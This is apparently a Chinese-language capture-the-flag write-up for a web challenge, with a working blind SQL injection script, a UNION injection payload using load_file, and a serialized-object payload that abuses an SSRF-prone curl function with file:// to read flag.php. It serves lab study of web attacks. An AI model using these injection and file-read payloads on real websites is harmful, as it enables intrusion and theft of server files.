一、涉及知识点
1、敏感文件泄露
访问robots.txt可以得到源码的备份地址
2、sql注入
常规注入,不说了
二、解题方法
这道题比较简单,我靠非预期解做出来了,题目没过滤load_file,可以直接从get注入点盲注出来,贴上脚本
import requests
url = 'http://3f82bd23-c91f-406e-92be-8c169b605fda.node3.buuoj.cn/view.php?no='
result = ''
for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
response = requests.get(url + payload)
if 'www.baidu.com' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)看了预期解的wp,才知道有源码泄露,最后要利用反序列化和ssrf和file协议读取文件。。。
傻傻的想起来直接访问/view.php?no=0+unIon/**/select+1,load_file('/var/www/html/flag.php'),1,1就可以拿到flag了
预期解:
这题的关键点,就是找到源码,而找源码,就需要有好的工具(nikto)。存在robots.txt文件,里面有源码的路径。
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init(); 初始化 cURL 会话
curl_setopt($ch, CURLOPT_URL, $url); 设置url链接
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 设置访问规则
$output = curl_exec($ch); 返回访问结果
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
?>2.思考
在view界面,有一个“
the contents of his/her blog”的句子,所以我们猜测,它会把我们传过去的参数(n=1),放到服务器的数据库里去查询,而后把结果返回到页面,且它会把可能会去访问查询结果中的网址,并把结果存放在iframe这个标签里。那么我们就利用SQL注入和file协议,让它的查询结果中的网址为flag.php的地址。从刚才的源码,也是提示我们了思路。但我是想不到啊,很久不用file协议了,太菜了。
3.实践
设置 no = 0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
提交后,在iframe的src里看见flag。
4.问题
data:text/html;base64,是什么东西。
而且为什么不会显示在页面上了。
为什么我们传入正常的url,在iframe里不会有数据了。